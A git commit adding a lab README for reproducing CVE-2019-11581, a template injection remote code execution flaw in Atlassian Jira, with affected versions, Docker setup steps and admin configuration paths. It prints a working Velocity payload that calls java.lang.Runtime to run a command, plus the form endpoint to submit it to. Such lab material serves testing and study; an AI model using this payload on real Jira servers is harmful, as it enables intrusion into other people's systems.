first commit

jira/CVE-2019-11581/README.md

@@ -0,0 +1,69 @@
+# Atlassian Jira Template Injection (CVE-2019-11581)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Atlassian Jira is a widely used project and issue tracking tool in enterprises, commonly applied in defect tracking, customer service, requirements collection, process approval, task tracking, project tracking, and agile management. A template injection vulnerability was discovered in multiple versions that allows remote code execution.
+
+Affected versions include:
+
+- 4.4.x
+- 5.x.x
+- 6.x.x
+- 7.0.x - 7.13.x (Fixed in 7.6.14, 7.13.5)
+- 8.0.x - 8.2.x (Fixed in 8.0.3, 8.1.2, 8.2.3)
+
+References:
+
+- <https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html>
+- <https://jira.atlassian.com/browse/JRASERVER-69532>
+- <https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw>
+
+## Environment Setup
+
+Execute the following command to start Jira Server 8.1.0:
+
+```
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:8080` to begin the installation process:
+
+1. Switch to your preferred language
+2. Choose "Set it up for me" (first option)
+3. Apply for a Jira Server test license from Atlassian (do not select Data Center or Addons)
+4. Complete the installation process
+
+Note: Installation may fail or take longer on machines with limited memory. It's recommended to use a machine with at least 4GB of RAM.
+
+![](7.png)
+
+Add SMTP mail server at `/secure/admin/AddSmtpMailServer!default.jspa`:
+
+![](8.png)
+
+Enable "Contact Administrators Form" in System Settings at `/secure/admin/ViewApplicationProperties.jspa`:
+
+![](9.png)
+
+Create a sample project to complete the setup.
+
+## Vulnerability Reproduction
+
+The PoC is similar to CVE-2019-3396. You can use the following payload:
+
+```
+$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()
+```
+
+You can either:
+
+1. Run `poc.py`, or
+2. Submit the PoC directly at `/secure/ContactAdministrators!default.jspa`
+
+![](11.png)
+
+![](12.png)
+
+If you don't see any data in smtpd, check the email queue at `/secure/admin/MailQueueAdmin!default.jspa`:
+
+![](13.png)